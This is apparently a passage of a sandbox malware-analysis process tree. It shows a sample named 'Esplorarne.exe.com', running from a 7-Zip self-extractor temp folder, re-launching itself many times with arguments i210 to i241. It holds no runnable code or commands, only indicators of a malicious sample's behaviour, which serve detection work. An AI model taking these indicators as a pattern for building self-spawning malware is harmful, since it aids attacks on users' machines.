C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i210⤵PID:10368
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i211⤵PID:10580
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i212⤵PID:4496
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i213⤵PID:10352
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i214⤵PID:10268
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i215⤵PID:10964
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i216⤵PID:11184
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i217⤵PID:11052
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i218⤵PID:11248
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i219⤵PID:11148
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i220⤵PID:10964
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i221⤵PID:4560
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i222⤵PID:11052
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i223⤵PID:10564
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i224⤵PID:11116
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i225⤵PID:4560
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i226⤵PID:10840
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i227⤵PID:6808
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i228⤵PID:11116
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i229⤵PID:11204
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i230⤵PID:5688
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i231⤵PID:5504
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i232⤵PID:10568
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i233⤵PID:9060
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i234⤵PID:10580
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i235⤵PID:10732
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i236⤵PID:5504
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i237⤵PID:5432
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i238⤵PID:10964
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i239⤵PID:5688
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i240⤵PID:10732
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i241⤵PID:4664
-